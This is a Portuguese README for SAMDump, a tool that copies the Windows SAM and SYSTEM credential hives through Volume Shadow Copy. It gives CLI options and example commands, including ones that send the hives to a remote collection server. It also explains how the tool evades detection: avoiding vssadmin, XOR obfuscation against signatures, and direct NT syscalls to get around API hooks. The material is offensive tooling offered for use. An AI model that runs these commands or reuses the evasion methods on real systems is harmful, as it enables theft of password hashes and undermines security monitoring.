
Extraia os hives SAM e SYSTEM usando a API de Volume Shadow Copy (VSS). Com opções de exfiltração e ofuscação XOR. Em C#, C++, Crystal, Python, Rust, Golang, Nim e Deno (Javascript)
Extrai arquivos SAM e SYSTEM do Windows usando o Volume Shadow Copy Service (VSS) com múltiplas opções de exfiltração e ofuscação XOR:
Ele é implementado em C++, C#, Crystal e Python, e funciona em versões modernas do Windows.
Requer privilégios elevados e, se criada, a cópia de sombra é automaticamente excluída após ~5 minutos.
SAMDump.exe [OPTIONS]
Options:
--save-local [BOOL] Save locally (default: false)
--output-dir DIR Output directory (default: C:\Windows\tasks)
--send-remote [BOOL] Send remotely (default: false)
--host IP Host for remote sending (default: 127.0.0.1)
--port PORT Port for remote sending (default: 7777)
--xor-encode [BOOL] XOR Encode (default: false)
--xor-key KEY Enable XOR with specified key (default: SAMDump2025)
--disk DISK Disk for shadow copy (default: C:\)
--help Show this help
Salvar localmente sem codificação:
SAMDump.exe --save-local --output-dir "C:\temp"

Salvar localmente com codificação XOR:
SAMDump.exe --save-local --xor-encode --xor-key "SAMDump2025"

Enviar para servidor remoto com codificação XOR e chave padrão:
SAMDump.exe --send-remote --host 192.168.1.72 --port 1234 --xor-encode

server.py é um servidor Python que recebe arquivos pela rede com decodificação XOR automática e formatação de nomes de arquivos:
python server.py [OPTIONS]
Options:
--host HOST IP address to listen on (default: 0.0.0.0)
--port PORT Port to listen on (default: 7777)
--xor-key KEY Key for XOR decoding (optional)
Ouvinte em interface e porta específicas com chave XOR:
python server.py --host 192.168.1.72 --port 1234 --xor-key "SAMDump2025"

O nome do arquivo contém o endereço IP e a data, para que você possa enviar os arquivos de diferentes sistemas, automatizando o processo.
xor-decoder.py é um script Python para decodificar localmente arquivos SAM e SYSTEM codificados com XOR:
python xor-decoder.py [OPTIONS]
Options:
--sam SAM Path to encoded SAM file (required)
--system SYSTEM Path to encoded SYSTEM file (required)
--xor-key KEY XOR key for decoding (default: SAMDump2025)
--output-dir DIR Output directory for decoded files (default: ./decoded)
Decodificar com chave padrão:
python xor-decoder.py --sam sam.txt --system system.txt

Decodificar com chave personalizada e diretório de saída:
python xor-decoder.py --sam sam.txt --system system.txt --xor-key "MyKey" --output-dir ./results

O projeto inclui versões implementadas em três linguagens:
comtypes (pip install comtypes)Queria automatizar esse processo e a maioria dos Windows que encontro executam VSS, mas as soluções de segurança detectam o uso do vssadmin para criar cópias de sombra e extrair esses arquivos, pois é uma técnica bem conhecida.
Esta ferramenta extrai os arquivos sem gravar no sistema de arquivos de destino ao usar o modo de transferência remota; e a codificação XOR oferece ofuscação básica para evitar detecção baseada em assinaturas (mesmo ao usar o modo remoto).
Além disso, utiliza chamadas da API NT para contornar algumas monitorações e hooks de API em modo de usuário.
A ferramenta emprega chamadas de sistema NT em vez de funções padrão da API do Windows, o que pode contornar alguns hooks de API em modo de usuário comumente monitorados:
NtCreateFile e NtReadFile: Usados para abrir um handle e ler os bytes dos arquivos SAM e SYSTEM na cópia de sombra
NtWriteFile: Usado para salvar os arquivos localmente
Agradecimentos a @vx-underground por identificar e sugerir otimizações no código de travessia da Tabela de Endereços de Exportação (EAT), substituindo chamadas desnecessárias de NtReadVirtualMemory por acesso direto a ponteiros.